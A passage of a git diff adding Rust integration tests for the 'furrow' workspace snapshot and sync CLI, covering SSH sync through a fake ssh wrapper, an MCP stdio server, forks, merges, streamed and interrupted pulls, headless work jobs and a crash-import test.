fixture.repo.parent().unwrap().join("ssh-remote-data"); + let wrapper = fixture.repo.parent().unwrap().join("fake-ssh.sh"); + git( + fixture.repo.parent().unwrap(), + &["clone", fixture.repo.to_str().unwrap(), "ssh-peer"], + ); + fs::write( + &wrapper, + b"#!/bin/sh\ntest -z \"${FURROW_SSH_START_LOG:-}\" || printf 'start\\n' >> \"$FURROW_SSH_START_LOG\"\nwhile [ \"$1\" != \"--\" ]; do shift; done\nshift\nshift\nshift\nexec \"$FURROW_TEST_BIN\" \"$@\"\n", + ) + .unwrap(); + let mut mode = fs::metadata(&wrapper).unwrap().permissions(); + mode.set_mode(0o755); + fs::set_permissions(&wrapper, mode).unwrap(); + + fixture.watch(); + furrow_at(&peer, &peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + let ssh_furrow = |repo: &Path, data: &Path| { + let mut command = furrow_at(repo, data); + command + .env("FURROW_SSH_COMMAND", &wrapper) + .env("FURROW_REMOTE_DATA_DIR", &remote_data) + .env("FURROW_TEST_BIN", env!("CARGO_BIN_EXE_furrow")); + command + }; + + let pair_output = ssh_furrow(&fixture.repo, &fixture.data) + .args([ + "--json", + "pair", + "ssh://fake-host", + "--name", + "ssh-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + assert_eq!(pair["remote"], "ssh://fake-host"); + let key = pair["key_hex"].as_str().unwrap(); + ssh_furrow(&peer, &peer_data) + .args([ + "pair", + "ssh://fake-host", + "--name", + "ssh-workspace", + "--key", + key, + ]) + .assert() + .success(); + ssh_furrow(&fixture.repo, &fixture.data) + .args(["sync", "--push"]) + .assert() + .success(); + let pull = ssh_furrow(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pull: Value = serde_json::from_slice(&pull).unwrap(); + assert_eq!(pull["disposition"], "bootstrapped"); + assert_eq!(fs::read(peer.join(".env")).unwrap(), b"TOKEN=original\n"); + assert_eq!( + fs::read(peer.join("cache/dependency.bin")).unwrap().len(), + 180_000 + ); + + fs::write(fixture.repo.join("app.txt"), b"ssh delta\n").unwrap(); + let push = ssh_furrow(&fixture.repo, &fixture.data) + .args(["--json", "sync", "--push"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let push: Value = serde_json::from_slice(&push).unwrap(); + assert!(push["uploaded_objects"].as_u64().unwrap() < 10); + let pull = ssh_furrow(&peer, &peer_data) + .args(["--json", "sync", "--pull"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pull: Value = serde_json::from_slice(&pull).unwrap(); + assert_eq!(pull["disposition"], "fast_forwarded"); + assert_eq!(fs::read(peer.join("app.txt")).unwrap(), b"ssh delta\n"); + + let start_log = fixture.repo.parent().unwrap().join("ssh-starts.log"); + let timing_log = fixture.repo.parent().unwrap().join("follow-timings.log"); + let follower = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_SSH_COMMAND", &wrapper) + .env("FURROW_REMOTE_DATA_DIR", &remote_data) + .env("FURROW_TEST_BIN", env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_SSH_START_LOG", &start_log) + .arg("--repo") + .arg(&fixture.repo) + .args(["sync", "--follow", "--poll-seconds", "1", "--timings"]) + .stdout(std::process::Stdio::null()) + .stderr(fs::File::create(&timing_log).unwrap()) + .spawn() + .unwrap(); + let follower = ChildGuard(follower); + wait_until("follow session to connect", Duration::from_secs(5), || { + start_log.exists() + }); + std::thread::sleep(Duration::from_millis(100)); + + fs::write(peer.join("app.txt"), b"warm session notification\n").unwrap(); + furrow_at(&peer, &peer_data) + .args(["snap", "-m", "peer notification"]) + .assert() + .success(); + let notify_started = Instant::now(); + let publish = ssh_furrow(&peer, &peer_data) + .args(["sync", "--push", "--takeover", "--timings"]) + .assert() + .success(); + assert!( + String::from_utf8_lossy(&publish.get_output().stderr).contains("sync timings:"), + "--timings must expose the transport phase log" + ); + wait_until( + "warm follower to materialize the notified head", + Duration::from_secs(2), + || { + fs::read(fixture.repo.join("app.txt")).ok().as_deref() + == Some(b"warm session notification\n") + }, + ); + let notify_elapsed = notify_started.elapsed(); + assert!( + notify_elapsed < Duration::from_secs(2), + "a local warm-session publish should not wait for the fallback poll interval" + ); + eprintln!( + "warm_session_publish_to_materialize_ms={}", + notify_elapsed.as_millis() + ); + std::thread::sleep(Duration::from_millis(1100)); + drop(follower); + assert_eq!( + fs::read_to_string(start_log).unwrap().lines().count(), + 1, + "follow must reuse one SSH process across reconciliation cycles" + ); + let follow_timings = fs::read_to_string(timing_log).unwrap(); + assert!( + follow_timings.contains("reused_connection=true"), + "the second operation on a follow session must pay zero connection cost" + ); + assert!( + follow_timings.contains("notify=") && !follow_timings.contains("notify=n/a"), + "a live-session pull must measure durable publish-to-notify latency" + ); +} + +#[test] +fn mcp_stdio_negotiates_lifecycle_lists_tools_and_keeps_errors_in_protocol() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + fs::write(fixture.repo.join(".env"), b"TOKEN=changed\n").unwrap(); + + let mut child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&fixture.repo) + .arg("mcp") + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .unwrap(); + let requests = [ + serde_json::json!({"jsonrpc":"2.0","id":1,"method":"tools/list"}), + serde_json::json!({ + "jsonrpc":"2.0","id":2,"method":"initialize","params":{ + "protocolVersion":"2025-11-25","capabilities":{}, + "clientInfo":{"name":"furrow-test","version":"1"} + } + }), + serde_json::json!({"jsonrpc":"2.0","method":"notifications/initialized"}), + serde_json::json!({"jsonrpc":"2.0","id":3,"method":"tools/list"}), + serde_json::json!({ + "jsonrpc":"2.0","id":"status","method":"tools/call", + "params":{"name":"furrow.status","arguments":{"fidelity":true}} + }), + serde_json::json!({ + "jsonrpc":"2.0","id":5,"method":"tools/call", + "params":{"name":"furrow.snapshot","arguments":{"message":"agent boundary"}} + }), + serde_json::json!({ + "jsonrpc":"2.0","id":6,"method":"tools/call", + "params":{"name":"furrow.rewind_apply","arguments":{"snapshot":snapshot}} + }), + serde_json::json!({ + "jsonrpc":"2.0","id":"forks","method":"tools/call", + "params":{"name":"furrow.forks","arguments":{}} + }), + serde_json::json!({ + "jsonrpc":"2.0","id":"events","method":"tools/call", + "params":{"name":"furrow.events","arguments":{"limit":10}} + }), + serde_json::json!({ + "jsonrpc":"2.0","id":7,"method":"tools/call", + "params":{"name":"furrow.unknown","arguments":{}} + }), + ]; + { + let stdin = child.stdin.as_mut().unwrap(); + for request in requests { + serde_json::to_writer(&mut *stdin, &request).unwrap(); + stdin.write_all(b"\n").unwrap(); + } + } + drop(child.stdin.take()); + let output = child.wait_with_output().unwrap(); + assert!( + output.status.success(), + "{}", + String::from_utf8_lossy(&output.stderr) + ); + let responses: Vec = String::from_utf8(output.stdout) + .unwrap() + .lines() + .map(|line| serde_json::from_str(line).unwrap()) + .collect(); + assert_eq!(responses.len(), 9); + assert_eq!(responses[0]["error"]["code"], -32002); + assert_eq!(responses[1]["result"]["protocolVersion"], "2025-11-25"); + let tools = responses[2]["result"]["tools"].as_array().unwrap(); + assert!(tools + .iter() + .any(|tool| tool["name"] == "furrow.rewind_plan")); + assert!(tools.iter().any(|tool| tool["name"] == "furrow.fork")); + assert!(tools.iter().any(|tool| tool["name"] == "furrow.claim")); + assert!(tools + .iter() + .any(|tool| tool["name"] == "furrow.coord_write")); + assert!(tools + .iter() + .any(|tool| tool["name"] == "furrow.fork_updates")); + assert!(tools.iter().any(|tool| tool["name"] == "furrow.forks")); + assert!(tools.iter().any(|tool| tool["name"] == "furrow.events")); + assert_eq!(responses[3]["id"], "status"); + assert_eq!(responses[3]["result"]["isError"], false); + assert_eq!( + responses[3]["result"]["structuredContent"]["fidelity"]["grade"], + "partial" + ); + assert_eq!(responses[4]["result"]["isError"], false); + assert_eq!(responses[5]["result"]["isError"], true); + assert!(responses[5]["result"]["content"][0]["text"] + .as_str() + .unwrap() + .contains("confirm_snapshot")); + assert_eq!(responses[6]["id"], "forks"); + assert_eq!( + responses[6]["result"]["structuredContent"], + serde_json::json!([]) + ); + assert_eq!(responses[7]["id"], "events"); + assert_eq!( + responses[7]["result"]["structuredContent"]["events"], + serde_json::json!([]) + ); + assert_eq!(responses[8]["error"]["code"], -32602); +} + +#[test] +fn snapshots_can_be_pinned_and_unpinned_idempotently() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + + let pin = fixture + .furrow() + .args(["--json", "pin", &snapshot]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pin: Value = serde_json::from_slice(&pin).unwrap(); + assert_eq!(pin["snapshot"], snapshot); + assert_eq!(pin["pinned"], true); + assert_eq!(pin["changed"], true); + + let repeated = fixture + .furrow() + .args(["--json", "pin", &snapshot]) + .assert() + .success() + .get_output() + .stdout + .clone(); + assert_eq!( + serde_json::from_slice::(&repeated).unwrap()["changed"], + false + ); + + let unpin = fixture + .furrow() + .args(["--json", "unpin", &snapshot]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let unpin: Value = serde_json::from_slice(&unpin).unwrap(); + assert_eq!(unpin["snapshot"], snapshot); + assert_eq!(unpin["pinned"], false); + assert_eq!(unpin["changed"], true); +} + +#[test] +fn global_budget_is_persistent_visible_and_never_deletes_the_head_to_fit() { + let fixture = Fixture::new(); + let head = fixture.watch(); + let configured = fixture + .furrow() + .args(["--json", "budget", "--max", "1", "--reserve-free", "0"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let configured: Value = serde_json::from_slice(&configured).unwrap(); + assert_eq!(configured["max_store_bytes"], 1); + assert_eq!(configured["reserved_free_bytes"], 0); + assert_eq!(configured["satisfied"], false); + assert!(configured["over_store_bytes"].as_u64().unwrap() > 0); + + let status = fixture + .furrow() + .args(["--json", "status"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let status: Value = serde_json::from_slice(&status).unwrap(); + assert_eq!(status["head"], head); + assert_eq!(status["budget"]["max_store_bytes"], 1); + assert_eq!(status["budget"]["satisfied"], false); + + let timeline = fixture + .furrow() + .args(["--json", "timeline", "--limit", "1"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + assert_eq!(timeline[0]["id"], head); + assert_eq!(timeline[0]["materialization"]["grade"], "exact"); +} + +#[derive(Debug, PartialEq, Eq)] +enum ManifestEntry { + File { + content_hash: [u8; 32], + mode: u32, + mtime: (i64, i64), + }, + Directory { + mode: u32, + }, + Symlink { + target: PathBuf, + }, +} + +/// A path-sorted, content-hashed description of everything under `root` +/// except the internal `.furrow` directory, suitable for asserting that two +/// independently materialized workspaces are byte-identical. +fn directory_manifest(root: &Path) -> Vec<(PathBuf, ManifestEntry)> { + fn walk(root: &Path, dir: &Path, entries: &mut Vec<(PathBuf, ManifestEntry)>) { + for entry in fs::read_dir(dir).unwrap() { + let entry = entry.unwrap(); + let path = entry.path(); + let relative = path.strip_prefix(root).unwrap().to_path_buf(); + if relative == Path::new(".furrow") { + continue; + } + let metadata = fs::symlink_metadata(&path).unwrap(); + let file_type = metadata.file_type(); + if file_type.is_symlink() { + entries.push(( + relative, + ManifestEntry::Symlink { + target: fs::read_link(&path).unwrap(), + }, + )); + } else if file_type.is_dir() { + entries.push(( + relative, + ManifestEntry::Directory { + mode: metadata.permissions().mode() & 0o777, + }, + )); + walk(root, &path, entries); + } else { + let content_hash = *blake3::hash(&fs::read(&path).unwrap()).as_bytes(); + entries.push(( + relative, + ManifestEntry::File { + content_hash, + mode: metadata.permissions().mode() & 0o777, + mtime: (metadata.mtime(), metadata.mtime_nsec()), + }, + )); + } + } + } + let mut entries = Vec::new(); + walk(root, root, &mut entries); + entries.sort_by(|left, right| left.0.cmp(&right.0)); + entries +} + +#[test] +fn fork_at_snapshot_matches_rewind_and_does_not_touch_the_source() { + let fixture = Fixture::new(); + let base = fixture.watch(); + + // Diverge the live workspace after the snapshot was sealed. + fs::write(fixture.repo.join("app.txt"), b"diverged after snapshot\n").unwrap(); + fs::write( + fixture.repo.join("new-file.txt"), + b"created after snapshot\n", + ) + .unwrap(); + fs::remove_file(fixture.repo.join("notes.txt")).unwrap(); + + let at_dest = fixture._temp.path().join("fork-at-dest"); + fixture + .furrow() + .args(["fork", "snap-fork", "--at", &base, "--destination"]) + .arg(&at_dest) + .assert() + .success(); + + // Independently reproduce the same snapshot by rewinding a plain live + // fork, and compare the two resulting trees byte-for-byte. + let check_dest = fixture._temp.path().join("rewind-check-dest"); + fixture + .furrow() + .args(["fork", "rewind-check", "--destination"]) + .arg(&check_dest) + .assert() + .success(); + furrow_at(&check_dest, &fixture.data) + .args(["rewind", &base, "--yes"]) + .assert() + .success(); + + assert_eq!( + directory_manifest(&at_dest), + directory_manifest(&check_dest) + ); + + // The source workspace was not touched by `fork --at`. + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"diverged after snapshot\n" + ); + assert!(fixture.repo.join("new-file.txt").exists()); + assert!(!fixture.repo.join("notes.txt").exists()); + + let forks = fixture + .furrow() + .args(["--json", "forks"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let forks: Value = serde_json::from_slice(&forks).unwrap(); + let snap_fork = forks + .as_array() + .unwrap() + .iter() + .find(|fork| fork["name"] == "snap-fork") + .unwrap(); + assert_eq!(snap_fork["base_snapshot"], base); +} + +#[test] +fn merge_of_a_snapshot_fork_uses_the_specified_base_despite_source_divergence() { + let fixture = Fixture::new(); + let base = fixture.watch(); + + // The source moves on after `base` was sealed. + fs::write(fixture.repo.join("app.txt"), b"source diverged\n").unwrap(); + fixture.furrow().arg("snap").assert().success(); + + let fork_dest = fixture._temp.path().join("fork-at-merge"); + fixture + .furrow() + .args(["fork", "at-merge", "--at", &base, "--destination"]) + .arg(&fork_dest) + .assert() + .success(); + // The fork itself still reflects `base`, not the source's later edit. + assert_eq!( + fs::read(fork_dest.join("app.txt")).unwrap(), + b"tracked original\n" + ); + fs::write( + fork_dest.join("agent-result.txt"), + b"fork-only work based on base\n", + ) + .unwrap(); + + fixture + .furrow() + .args([ + "merge", + "at-merge", + "--check", + "grep -q 'source diverged' app.txt && grep -q 'fork-only work based on base' agent-result.txt", + ]) + .assert() + .success(); + + // If the merge base had incorrectly been the source's current head + // instead of `base`, app.txt would look unchanged there and the fork's + // reversion to the old content would "win", clobbering the source edit. + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"source diverged\n" + ); + assert_eq!( + fs::read(fixture.repo.join("agent-result.txt")).unwrap(), + b"fork-only work based on base\n" + ); +} + +#[test] +fn fork_at_rejects_an_unresolvable_snapshot_without_creating_the_destination() { + let fixture = Fixture::new(); + fixture.watch(); + let dest = fixture._temp.path().join("fork-at-unknown"); + fixture + .furrow() + .args(["fork", "ghost", "--at", "deadbeef", "--destination"]) + .arg(&dest) + .assert() + .failure() + .stderr(predicates::str::contains("was not found")); + assert!(!dest.exists()); +} + +fn git(repo: &Path, args: &[&str]) { + let status = std::process::Command::new("git") + .arg("-C") + .arg(repo) + .args(args) + .status() + .unwrap(); + assert!(status.success()); +} + +/// Pair `fixture` and a freshly watched `peer` clone to a shared directory +/// remote, returning the peer/data/remote paths. The source is pushed so the +/// peer can bootstrap from it. +fn prepare_streaming_peer(fixture: &Fixture, tag: &str) -> (PathBuf, PathBuf, PathBuf) { + let parent = fixture.repo.parent().unwrap(); + let peer = parent.join(format!("{tag}-peer")); + let peer_data = parent.join(format!("{tag}-peer-data")); + let remote = parent.join(format!("{tag}-remote")); + git( + parent, + &[ + "clone", + fixture.repo.to_str().unwrap(), + &format!("{tag}-peer"), + ], + ); + fixture.watch(); + furrow_at(&peer, &peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + + let pair_output = fixture + .furrow() + .args([ + "--json", + "pair", + remote.to_str().unwrap(), + "--name", + "streamed-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap(); + furrow_at(&peer, &peer_data) + .args([ + "pair", + remote.to_str().unwrap(), + "--name", + "streamed-workspace", + "--key", + key, + ]) + .assert() + .success(); + fixture.furrow().args(["sync", "--push"]).assert().success(); + (peer, peer_data, remote) +} + +fn assert_workspace_matches_source(fixture: &Fixture, peer: &Path, context: &str) { + for relative in [".env", "notes.txt", "app.txt", "cache/dependency.bin"] { + assert_eq!( + fs::read(peer.join(relative)).unwrap(), + fs::read(fixture.repo.join(relative)).unwrap(), + "{context}: byte mismatch for {relative}" + ); + } + assert_eq!( + fs::read_link(peer.join("app-link")).unwrap(), + fs::read_link(fixture.repo.join("app-link")).unwrap(), + "{context}: symlink mismatch" + ); + assert_eq!( + fs::metadata(peer.join("app.txt")).unwrap().mode() & 0o777, + fs::metadata(fixture.repo.join("app.txt")).unwrap().mode() & 0o777, + "{context}: mode mismatch" + ); + assert_eq!( + xattr::get(peer.join("app.txt"), "user.furrow-test") + .unwrap() + .as_deref(), + Some(&b"preserved"[..]), + "{context}: xattr mismatch" + ); +} + +#[test] +fn streamed_clone_is_byte_identical_and_reports_materialized_progress() { + let fixture = Fixture::new(); + let (peer, peer_data, _remote) = prepare_streaming_peer(&fixture, "streamed"); + + let bootstrap_output = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let bootstrap: Value = serde_json::from_slice(&bootstrap_output).unwrap(); + assert_eq!(bootstrap["disposition"], "bootstrapped"); + + // Streaming pipelines fetch and checkout: files are written while blobs are + // still arriving, so the materialized-files counter must advance and the + // transfer must actually have moved objects. + assert!( + bootstrap["materialized_files"].as_u64().unwrap() > 0, + "streamed pull reported no materialized files: {bootstrap}" + ); + assert!(bootstrap["fetched_objects"].as_u64().unwrap() > 0); + + // The streamed result is byte-identical to the source workspace, including + // gitignored payloads, the large binary, executable mode, xattrs, and the + // symlink — exactly what the fully-resolved checkout produced before. + assert_workspace_matches_source(&fixture, &peer, "streamed clone"); + assert_eq!( + fs::read(peer.join("cache/dependency.bin")).unwrap(), + vec![7_u8; 180_000] + ); +} + +#[test] +fn interrupted_streamed_pull_recovers_and_completes_byte_identical() { + let fixture = Fixture::new(); + let (peer, peer_data, _remote) = prepare_streaming_peer(&fixture, "interrupted"); + + // Kill the pull mid-stream: the failpoint exits the process immediately + // after the first file is materialized, long before the whole graph lands. + furrow_at(&peer, &peer_data) + .env("FURROW_FAILPOINT", "pull_after_first_file") + .args(["sync", "--pull", "--bootstrap"]) + .assert() + .code(87); + + // The large gitignored payload never arrived because the transfer aborted, + // so materialization was genuinely partial rather than all-or-nothing. + assert!( + !peer.join("cache/dependency.bin").exists(), + "the interrupted pull materialized the whole tree, not a partial stream" + ); + + // Opening the workspace detects the durable restore intent and rolls the + // partially materialized delta back to the pre-pull snapshot. + furrow_at(&peer, &peer_data) + .arg("status") + .assert() + .success() + .stderr(predicates::str::contains("recovering interrupted rewind")); + assert!( + !peer.join(".env").exists(), + "the partially streamed delta was not rolled back on recovery" + ); + + // Re-pulling after recovery completes cleanly and reproduces the exact + // source workspace, reusing whatever the aborted attempt already fetched. + let bootstrap_output = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let bootstrap: Value = serde_json::from_slice(&bootstrap_output).unwrap(); + assert_eq!(bootstrap["disposition"], "bootstrapped"); + assert_workspace_matches_source(&fixture, &peer, "recovered clone"); + assert_eq!( + fs::read(peer.join("cache/dependency.bin")).unwrap(), + vec![7_u8; 180_000] + ); +} + +/// Builds a `furrow work` invocation for a headless worker with its own object +/// store and recovery key, mirroring how a job runner would be provisioned on a +/// machine that never attached the source workspace. +fn work_command(data: &Path, key: &str) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_RECOVERY_KEY", key) + .args(["--json", "work"]); + command +} + +/// Spawns a `furrow work` worker as a real child process so two of them can run +/// at once, capturing stdout for the JSON result summary. +fn spawn_work( + data: &Path, + key: &str, + remote: &Path, + name: &str, + result_ref: &str, + shell: &str, +) -> std::process::Child { + std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_RECOVERY_KEY", key) + .args([ + "--json", + "work", + "--remote", + remote.to_str().unwrap(), + "--name", + name, + "--ref", + "jobs/1", + "--result-ref", + result_ref, + "--", + "sh", + "-c", + shell, + ]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .unwrap() +} + +/// Materializes `result_ref` from `remote` into a brand-new headless workspace +/// and returns its path, so a test can inspect exactly what a job published. +fn materialize_result( + parent: &Path, + label: &str, + remote: &Path, + name: &str, + key: &str, + result_ref: &str, +) -> PathBuf { + let repo = parent.join(format!("{label}-repo")); + let data = parent.join(format!("{label}-data")); + fs::create_dir_all(&repo).unwrap(); + git(&repo, &["init", "-b", "main"]); + git(&repo, &["config", "user.email", "consumer@example.com"]); + git(&repo, &["config", "user.name", "Consumer"]); + furrow_at(&repo, &data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + furrow_at(&repo, &data) + .args([ + "pair", + remote.to_str().unwrap(), + "--name", + name, + "--key", + key, + ]) + .assert() + .success(); + furrow_at(&repo, &data) + .args(["sync", "--pull", "--ref", result_ref, "--bootstrap"]) + .assert() + .success(); + repo +} + +#[test] +fn work_runs_a_headless_job_at_a_remote_snapshot_and_publishes_a_mergeable_result() { + let fixture = Fixture::new(); + let remote = fixture.repo.parent().unwrap().join("work-remote"); + let worker_data = fixture.repo.parent().unwrap().join("work-worker-data"); + + // Machine A protects its workspace and publishes it as the job input ref. + fixture.watch(); + let pair_output = fixture + .furrow() + .args([ + "--json", + "pair", + remote.to_str().unwrap(), + "--name", + "work-shared", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap().to_owned(); + fixture + .furrow() + .args(["sync", "--push", "--ref", "jobs/1"]) + .assert() + .success(); + + // The headless worker pulls jobs/1, forks at that snapshot, edits files in + // the isolated fork, and publishes the sealed result to results/1. + let work_output = work_command(&worker_data, &key) + .args([ + "--remote", + remote.to_str().unwrap(), + "--name", + "work-shared", + "--ref", + "jobs/1", + "--result-ref", + "results/1", + "--", + "sh", + "-c", + "printf 'job edit\\n' >> app.txt && printf 'created by job\\n' > job-output.txt", + ]) + .assert() + .success(); + let work_json = work_output.get_output().stdout.clone(); + let work: Value = serde_json::from_slice(&work_json).unwrap(); + assert_eq!(work["exit_code"], 0); + assert_eq!(work["input_ref"], "jobs/1"); + assert_eq!(work["result_ref"], "results/1"); + let input_snapshot = work["input_snapshot"].as_str().unwrap().to_owned(); + let result_snapshot = work["result_snapshot"].as_str().unwrap().to_owned(); + assert_ne!(input_snapshot, result_snapshot); + // Without --keep the fork and its bootstrap workspace are removed. + assert!(!Path::new(work["fork"].as_str().unwrap()).exists()); + + // A pulls the published result. The two sides carry independent history, so + // the pull fetches the whole graph and reports a divergence rather than + // overwriting A's workspace. + let divergence_output = fixture + .furrow() + .args(["--json", "sync", "--pull", "--ref", "results/1"]) + .assert() + .failure() + .get_output() + .stdout + .clone(); + let divergence: Value = serde_json::from_slice(&divergence_output).unwrap(); + assert_eq!(divergence["disposition"], "diverged"); + assert_eq!(divergence["remote_snapshot"], result_snapshot); + + // Merging the result by snapshot ID with no --base hint must derive the + // job's input snapshot as the base and land the job's edits into A. + fixture + .furrow() + .args([ + "merge", + "--snapshot", + &result_snapshot, + "--check", + "grep -q 'job edit' app.txt && test -f job-output.txt", + ]) + .assert() + .success(); + assert!(fs::read_to_string(fixture.repo.join("app.txt")) + .unwrap() + .contains("job edit")); + assert_eq!( + fs::read(fixture.repo.join("job-output.txt")).unwrap(), + b"created by job\n" + ); +} + +#[test] +fn concurrent_work_runs_on_one_input_ref_publish_independent_results() { + let fixture = Fixture::new(); + let parent = fixture.repo.parent().unwrap().to_path_buf(); + let remote = parent.join("cwork-remote"); + let worker_a_data = parent.join("cwork-a-data"); + let worker_b_data = parent.join("cwork-b-data"); + + fixture.watch(); + let pair_output = fixture + .furrow() + .args([ + "--json", + "pair", + remote.to_str().unwrap(), + "--name", + "cwork-shared", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap().to_owned(); + fixture + .furrow() + .args(["sync", "--push", "--ref", "jobs/1"]) + .assert() + .success(); + + // Two workers start from the same input ref at the same time, each writing a + // distinct marker and publishing to its own result ref. + let child_a = spawn_work( + &worker_a_data, + &key, + &remote, + "cwork-shared", + "results/a", + "printf 'from a\\n' > marker-a.txt", + ); + let child_b = spawn_work( + &worker_b_data, + &key, + &remote, + "cwork-shared", + "results/b", + "printf 'from b\\n' > marker-b.txt", + ); + let out_a = child_a.wait_with_output().unwrap(); + let out_b = child_b.wait_with_output().unwrap(); + assert!( + out_a.status.success(), + "worker A failed: {}", + String::from_utf8_lossy(&out_a.stderr) + ); + assert!( + out_b.status.success(), + "worker B failed: {}", + String::from_utf8_lossy(&out_b.stderr) + ); + let result_a: Value = serde_json::from_slice(&out_a.stdout).unwrap(); + let result_b: Value = serde_json::from_slice(&out_b.stdout).unwrap(); + // Both started from the identical input snapshot yet produced independent + // results published under independent refs. + assert_eq!(result_a["input_snapshot"], result_b["input_snapshot"]); + assert_ne!(result_a["result_snapshot"], result_b["result_snapshot"]); + + // Materializing each result ref in a clean workspace proves the jobs did not + // observe or clobber each other: each carries only its own marker. + let consumer_a = materialize_result( + &parent, + "cwork-a", + &remote, + "cwork-shared", + &key, + "results/a", + ); + let consumer_b = materialize_result( + &parent, + "cwork-b", + &remote, + "cwork-shared", + &key, + "results/b", + ); + assert_eq!( + fs::read(consumer_a.join("marker-a.txt")).unwrap(), + b"from a\n" + ); + assert!(!consumer_a.join("marker-b.txt").exists()); + assert_eq!( + fs::read(consumer_b.join("marker-b.txt")).unwrap(), + b"from b\n" + ); + assert!(!consumer_b.join("marker-a.txt").exists()); + // The shared input file survived untouched in both results. + assert_eq!( + fs::read(consumer_a.join("app.txt")).unwrap(), + b"tracked original\n" + ); + assert_eq!( + fs::read(consumer_b.join("app.txt")).unwrap(), + b"tracked original\n" + ); +} diff --git a/engine/furrow-cli/tests/crash_import.rs b/engine/furrow-cli/tests/crash_import.rs new file mode 100644 index 0000000000..2bc80c888b --- /dev/null +++ b/engine/furrow-cli/tests/crash_import.rs @@ -0,0 +1,210 @@ +//! An import killed inside its batch leaves the store open, the catalog with +//! no row of this import, every inbox file in place, and a second import that +//! finishes the take. +//! +//! The kill is a process abort at a crash point (`FURROW_FAULT`, compiled in +//! by the `fault-injection` feature), so this proves the ordering of the +//! steps: nothing catalogued is deleted, and nothing deleted is uncatalogued. +//! Pack bytes the rollback outruns are the store's rebuild-from-pack rule's +//! to tolerate, exactly as for a seal. + +use assert_cmd::Command; +use furrow::exchange::export::ExportJob; +use furrow::exchange::frame; +use furrow::exchange::ledger::Ledger; +use furrow::exchange::open_store; +use furrow::model::{id_hex, SnapshotTrigger}; +use furrow::repository::{FurrowRepository, SealOptions}; +use furrow::sealer::Keys; +use std::fs; +use std::path::PathBuf; + +const LEDGER: &str = "0123456789abcdef"; + +/// A source store holding a tree of several small files, exported into an +/// inbox of one file per remote id, as a fetcher would lay it down. +struct Folder { + _temp: tempfile::TempDir, + data: PathBuf, + inbox: PathBuf, + head: String, + objects: usize, +} + +fn folder() -> Folder { + let temp = tempfile::tempdir().unwrap(); + let tree = temp.path().join("tree"); + fs::create_dir_all(&tree).unwrap(); + for name in 0..12 { + fs::write(tree.join(format!("f{name}.txt")), format!("file {name}\n")).unwrap(); + } + let (_, head) = FurrowRepository::attach_and_seal_in( + &temp.path().join("data-src"), + &tree, + None, + SnapshotTrigger::Manual, + SealOptions::default(), + ) + .unwrap(); + let keys = Keys { + cell_key: [0x11; 32], + dedup: [0x22; 32], + }; + let outbox = temp.path().join("outbox"); + let store = open_store(&temp.path().join("data-src")).unwrap(); + let ledger = Ledger::named(&temp.path().join("data-src"), LEDGER).unwrap(); + let report = ExportJob { + store: &store, + keys: &keys, + head, + ledger: &ledger, + outbox: &outbox, + max_frame: 1 << 20, + } + .run() + .unwrap(); + let objects = report.objects; + let inbox = temp.path().join("inbox"); + let data = temp.path().join("data-dst"); + fs::create_dir_all(&inbox).unwrap(); + for path in report.frames.iter().map(|info| &info.path) { + let bytes = fs::read(path).unwrap(); + let decoded = frame::decode(&bytes).unwrap().1; + for object in decoded { + fs::write(inbox.join(id_hex(&object.rid)), object.bytes).unwrap(); + } + } + Folder { + _temp: temp, + data, + inbox, + head: id_hex(&head), + objects, + } +} + +impl Folder { + fn import(&self, fault: Option<&str>) -> bool { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_CELL_KEY", hex::encode([0x11; 32])) + .env("FURROW_DEDUP_SECRET", hex::encode([0x22; 32])) + .args(["import", "--head", &self.head]) + .arg("--inbox") + .arg(&self.inbox) + .arg("--ledger") + .arg(LEDGER) + .arg("--json"); + 